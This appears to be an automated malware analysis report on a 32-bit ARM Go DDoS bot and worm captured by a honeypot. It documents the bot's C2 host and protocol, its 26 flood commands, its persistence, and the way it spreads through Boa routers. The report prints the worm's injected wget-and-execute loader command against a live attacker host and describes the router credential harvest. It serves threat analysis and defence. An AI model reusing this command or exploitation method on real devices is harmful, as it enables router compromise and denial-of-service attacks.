Honeypot capture

Arm ELF 32-bit LSB executable ddos-bot (1fc37d38754d)

C2 verifiedProtocol documented

This ELF for 32-bit ARM carries two command-and-control endpoints, and both name one host, 77.239.124.201. A honeypot sensor network captured the file. C2 is the channel an infected machine uses to reach its operator for instructions. The file is 5963938 bytes and ships unpacked, with its 6473-symbol table and its strings in the clear. The C2 is a persistent plaintext TCP session to port 9111, a non-standard port for any registered service, over which an operator can issue 29 commands. Both endpoints came out of the sample’s own strings and code, and both carry an agreement verdict from a second decompiler backend that resolved the same addresses independently.

The host and port are ordinary Go string globals. The header pair at 0x5ab608 reads (ptr=0x375d98, len=14) and (ptr=0x355231, len=4); at run time runtime.concatstring3 joins the host, : and the port, and net.Dial opens the TCP session:

0x5ab610  (port string header)
0x261b28  ldr     r11, 0x2622f4   ; pool -> 0x5ab608  (host string header)
0x261b50  ldr     r1, 0x262310    ; pool -> 0x373c80  -> ':'
0x261b68  bl      0x86860         ; runtime.concatstring3  host + ':' + port
0x261b74  ldr     r2, 0x262314    ; pool -> 0x3550ea  -> 'tcp'
0x261b7c  mov     r2, #0x3
0x261b8c  bl      0x13704c        ; net.Dial("tcp", "77.239.124.201:9111")

— binja @ 0x261b8c

The 14 bytes at 0x375d98 are b'77.239.124.201', and rabin2’s string table shows the same string at the same address (6260 0x00365d98 0x00375d98 14 15 .rodata ascii 77.239.124.201). The bytes at 0x355231 are b'9111sysd', so the four-byte port literal 9111 is followed immediately in .rodata by the persistence marker sysd.

The sample builds for armv7 and arm, the two architectures of a campaign aimed at routers, cameras and other embedded devices. It carries a 26-command flood engine driven from the C2 session and a self-propagation loop that runs unconditionally. The scanner for that loop is spawned at 0x261b00, before the C2 dial, and it needs no tasking to start. The analysis records both halves as load-bearing and classifies the sample as a worm as well as a bot; a worm is a program that copies itself onward to further machines with no user action.

The family field stands at null, because the only name attached to this code is the author’s own Go module path, Botnet/Bot at version (devel), an unpublished local module. Guessing a public name would fabricate one, so the analysis records the module path as an indicator instead.

Static recovery without execution

An automatic pipeline built on Binary Ninja performed the analysis, at medium confidence overall. The sample was loaded as data throughout, and no recovered endpoint was contacted or resolved, so its runtime timing, retry and post-execution behaviour remain open. Strings and structure came from strings and rabin2, with every indicator anchored to a file offset and corroborated across both tools, and the executable sections were disassembled and decompiled headlessly.

The sample is 1fc37d38754d3991872d11ae34bb452cae6bbd6562a60aa24a2b948d8f15af40 (SHA-256), MD5 01beda5c39fb897fabd0d032ad9c302c, SHA-1 a8749e70957ac9daeac3f74452aef6ed6e057fcc. The C2 host also appears in one other analysed capture, which ties both captures to one operator’s infrastructure.

The wire protocol and command set

The application layer is newline-delimited text, with bot→C2 records separated by | and C2→bot commands split on whitespace by strings.Fields. The beacon travels from fmt.Sprintf to the socket write (0x26517c→0x2651c4) with its bytes unchanged. The one crypto constant in the image is a stock SHA-256 IV that crypto/tls pulls in for the TLS flood methods, so nothing in the image encrypts the C2 channel. The analysis documented the wire format well enough to decode it, and 4 of 4 test vectors replay through the recovered dissector.

The bot’s only collection is a host-capacity beacon that it sends every 2 seconds. The line has the shape STATS|[field_1]|[cpu]|[mem]|[mem]|arm\n — four numeric host-capacity values and the hardcoded architecture tag arm. The numbers come from /proc/stat and /proc/meminfo by way of main.GetStats (0x265cdc), so the operator can grade hosts by the attack capacity they offer. Across the 143 own-code symbols there is no shell-command handler, no file exfiltration path and no local credential theft, and the analysis does not classify the sample as a stealer or a RAT. The bot reconnects 5 seconds after a failure and force-recycles the session every 120 seconds. Field 1 is an int32 sourced from the global at 0x5bd39c, with a known type and position, and the analysis did not establish what the operator reads that integer as. Decoding, emulation and impersonation do not depend on that meaning, because the field is a free integer in all three directions. Fields 3 and 4 are both /proc/meminfo figures in bytes, and which figure lands in which slot stayed open because main.getMemInfo (0x266098) was decompiled only in part; the C2 would not detect a swap.

Of the 29 commands, 26 are flood methods — udp, tcp, tls, dns, ovh, pps, game, fort, gbps, crash, fivem, freez, https, priv7, bypass, ppsraw, udppps, raw-ack, raw-tcp, raw-udp, discord, tlsplus, fivem_tcp, minecraft, fivem_bypass, tlsplusbypass — each taking target port duration [len=N]. The 26 comes from the symbol table: 31 top-level Botnet/Methods symbols less the five package control and helper functions init, GetStopChan, StopAttack, ResetAttack and loadTLSProxies, drawn from 74 Botnet/Methods.* symbols across 27 source files. The application-layer methods aim at HTTP, HTTPS and TLS targets and at game services (Minecraft, FiveM, Fortnite, Discord), rotating 16 browser User-Agent strings and forging Referer headers from a block of major social-media and search URLs to survive naive filtering. The analysis inventoried 23 of the flood implementations by name and address only, without reading their internals.

One flood method, tlsplusbypass, routes through a proxy list that Botnet/Methods.loadTLSProxies (0x25b004) reads from the local path proxy/tlsplusbypass.txt. The operator has to place that file on the device, and the sample never fetches it, so the list is not a second piece of network infrastructure.

The three control tokens are STOP, persist, which re-runs the installer, and KILL. KILL (0x262440) removes the cron entry, deletes the executable and exits, leaving the systemd unit and the rc scripts in place, so a killed host keeps dangling persistence pointing at an absent binary.

Neither end of the session is authenticated. Anyone who can reach 77.239.124.201:9111, or intercept the session, can read every bot’s telemetry and issue commands to the whole botnet. Decoding one intercepted beacon recovers a victim’s CPU and memory figures, and decoding a single command line recovers the live attack type, target, port and duration, which identifies a DDoS victim under attack at that moment.

Self-propagation through Boa routers

The scanner sweeps random public IPv4 addresses for Boa-based SOHO routers, matching on the literal Server: Boa. On a match it authenticates against the TOTOLINK-style JSON control API (topicurl setUserLogin/getSanvas), CAPTCHA retrieval included. It then injects a shell command through syscmd.htm that fetches and runs a loader, a small first-stage program whose job is to fetch and start the real payload:

0x35b17d 'http://%s:5001/bins.sh'
0x266574  mov     r0, #0x16              ; len 22
0x266590  bl      0x109144               ; fmt.Sprintf

— binja @ 0x26656c

The injected line is wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh, dropped into the exploited device’s working directory. The exploited device fetches the script at runtime from http://77.239.124.201:5001/bins.sh, the sample does not embed it, and the analysis did not establish what that second stage contains. The exploitation path sends User-Agent: Hello World, a high-fidelity signature because no legitimate client sends it.

On the way through, the sample harvests credentials from each targeted device by fetching http://[victim]/config.dat over plain HTTP and decompressing it with an Okumura-style LZSS decoder (main.Decode), then locating credential fields with bytes.Index. The host slot in that URL is the victim’s own address. Which fields main.getCredLeak and main.getAdminCredLeak pull out remains open, since the input is a router’s own config file rather than anything this sample carries.

What execution requires

The sample needs root to install its system-wide persistence, outbound tcp/9111 to reach the C2, outbound tcp/80 to arbitrary public IPv4 for scanning, and udp/53 for Go’s own resolver, which it uses because the binary is built with netgo and no libc NSS; the exploited device makes the tcp/5001 loader fetch. Tasking and loader delivery use the same hardcoded address, and the image holds no domain, DGA or fallback, so one blocklist entry severs both.

Persistence and the sysd marker

The persistence installer (main.AutoStart) runs first, before the scanner and before the dial. It writes /etc/systemd/system/sysd.service, described as System Daemon Service so it reads as an OS component in a service listing, and activates it with systemctl daemon-reload. It adds the cron line * * * * * [path-to-bot] > /dev/null 2>&1, where the path comes from os.executable, using /tmp/cron_tmp as scratch for the read-modify-write and filtering existing lines with grep -v 'sysd' so exactly one copy survives. On devices without systemd it falls back to /etc/rc.local, /etc/rc.d/rc.local or /etc/init.d/boot.local.

The marker sysd appears in both mechanisms: it names the systemd unit sysd.service, and it is the token the crontab rewrite filters on.

The recorded behaviours

BehaviourATT&CKOffsetConfidence
Persistent plaintext TCP C2, tcp/9111T15710x261b8c0.95
Host-capacity beacon every 2 seconds— (MBC B0030)0x26517c0.95
/proc CPU and memory discoveryT10820x265cdc0.90
Unix shell execution via os/execT1059.0040x25d05c0.90
Router exploitation + ingress tool transferT11050x2696a00.90
Network DoS, 26 flood methodsT14980x2510a80.90
Endpoint DoS, L7 and game floodsT14990x25562c0.85
systemd unit written to /etc/systemd/system/sysd.serviceT1543.0020x3603100.85
One-minute cron entryT1053.0030x35ea060.85
rc/init script fallback—0x3577210.85
Victim config.dat credential harvest—0x266f580.85
Unit named and described as “System Daemon Service”T10360x3603100.80

No ATT&CK ID is asserted for rc-script autostart or for the exploitation step itself, because neither technique is in the offline table available to this analysis. The T1105 on the exploitation row covers the ingress tool transfer alone.

Indicators in the bytes but not in the profile

A byte sweep turned up 22 network indicators beyond the curated profile. Six are routable — 1[.]2[.]1[.]1, 1[.]2[.]2[.]1, 1[.]3[.]1[.]1, 119[.]0[.]0[.]0, 120[.]0[.]0[.]0, 2[.]5[.]4[.]102 — and rank as unconfirmed leads rather than verified C2, since the curated profile does not list them. 1[.]1[.]1[.]1 falls in a well-known test range, not confirmed C2, and like the other sweep hits it appears in the bytes alone.

Whether the host still answers on 9111

The remaining checks need live infrastructure: whether 77.239.124.201 still answers on 9111, and which addresses it currently resolves to.

Family
unclassified
First seen
October 11, 2026
Vector
Runs as a ddos-bot/worm; the entry vector is not established by static analysis
Format
5824 KB arm ELF 32-bit LSB executable
VirusTotal
Not on VirusTotal
Tags
arm · ddos-bot · elf · raw_tcp · worm
Sample
By request. Email [email protected]

SHA-256

  • 1fc37d38754d3991872d11ae34bb452cae6bbd6562a60aa24a2b948d8f15af40 as captured

Analysis performed using an automatic malware analysis pipeline using Binary Ninja

← All captures